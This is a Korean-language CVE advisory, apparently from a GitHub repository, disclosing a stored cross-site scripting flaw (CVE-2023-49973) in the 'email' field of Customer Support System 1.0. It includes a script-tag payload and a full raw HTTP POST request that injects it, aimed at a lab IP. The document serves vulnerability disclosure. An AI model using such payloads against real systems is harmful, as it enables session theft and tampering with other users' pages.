geraldoalcantara/cve-2023-49973고객 지원 시스템 1.0 - "customer_list" 페이지의 "email" 필드/매개변수에서의 Cross-Site Scripting (XSS) 취약점
설명: Customer Support System 1.0은 저장형 XSS에 취약합니다. Customer Support System 버전 1에 XSS 취약점이 존재합니다. 악의적인 사용자는 고객 편집/생성 시 "email" 필드/파라미터를 통해 JavaScript 코드를 삽입할 수 있습니다. 이 코드는 "/customer_support/index.php?page=customer_list" 페이지에 접속할 때마다 실행됩니다.
취약한 제품 버전: Customer Support System 1.0
CVE 작성자: Geraldo Alcântara
날짜: 28/11/2023
확인일: 19/12/2023
CVE: CVE-2023-49973
테스트 환경: Windows
</dt></b><script>alert(document.domain)</script>
POST /customer_support/ajax.php?action=save_customer HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
Content-Length: 1149
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="id"
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="firstname"
teste
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="middlename"
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="lastname"
xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="contact"
210
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="address"
asdasd
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="email"
</dt></b><script>alert(document.domain)</script>
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="password"
xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="cpass"
xss
-----------------------------212391604122778812451614149575--
발견자/크레딧:
Geraldo Alcântara